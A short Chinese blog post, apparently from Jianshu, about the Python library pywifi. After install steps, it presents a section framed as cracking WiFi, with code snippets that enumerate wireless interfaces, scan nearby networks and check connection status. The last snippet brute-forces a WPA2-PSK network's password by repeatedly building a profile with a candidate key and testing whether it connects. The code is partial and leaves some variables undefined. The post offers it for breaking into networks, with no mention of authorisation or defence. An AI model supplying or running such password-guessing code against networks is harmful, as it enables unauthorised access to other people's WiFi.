美文网首页
030 Python语法之pywifi

030 Python语法之pywifi

作者: Luo_Luo | 来源:发表于2017-09-12 11:24 被阅读0次

    pywifi安装

    1. 拿到pywifi文件夹
    2. 如果有pip环境变量就直接cd进入pywifi目录
    3. 输入pip install .
    4. 如果没有环境变量就cd进pip的目录
    5. 然后pip install pywifi目录

    破解WiFi的步骤

    1. 抓取无线网卡

    pywifi.set_loglevel(logging.INFO)   # 输出日志
    wifi = pywifi.PyWiFi()  # 抓取WiFi接口
    ifaceList = wifi.interfaces()   # 抓取无线网卡列表
    iface = ifaceList[0] # 如果有无线网卡第一个一般就是你要的
    

    2. 找到WiFi列表

    wifi = pywifi.PyWiFi()  # 抓取WiFi接口
    iface = wifi.interfaces()[0]   # 抓取无线网卡列表
    iface.scan() # 扫描
    time.sleep(5)
    bsses = iface.scan_results()    # 扫描到的结果
    for pjwifi in bsses:
        print(pjwifi.ssid)  # 所有WiFi名
        print(pjwifi.bssid) # mac地址
        print(pjwifi.signal)    # 信号强度(值越大信号越强)
    

    3. 测试网卡状态

    iface = wifi.interfaces()[0]
    iface.status()-->
    const.IFACE_DISCONNECTED:0没有连接
    const.IFACE_INACTIVE:2没有激活
    const.IFACE_CONNECTED:1连接好了
    

    4. 针对某一WiFi进行密码爆破

    '''爆破密码'''
    profile = pywifi.Profile()  # 创建wifi链接文件
    profile.ssid = wifiName  # wifi名称,不加会报错
    profile.auth = const.AUTH_ALG_OPEN  # 网卡的开放
    profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
    profile.cipher = const.CIPHER_TYPE_CCMP  # 加密单元
    profile.key = pwd  # 密码
    self.iface.remove_all_network_profiles()  # 删除所有的wifi文件
    tmp_profile = self.iface.add_network_profile(profile)  # 设定新的链接文件
    self.iface.connect(tmp_profile)  # 链接
    time.sleep(5)
    
    connectStatus = self.iface.status() == const.IFACE_CONNECTED
    
    self.iface.disconnect()  # 断开连接
    time.sleep(1)
    

    相关文章

      网友评论

          本文标题:030 Python语法之pywifi

          本文链接:https://www.haomeiwen.com/subject/ziccsxtx.html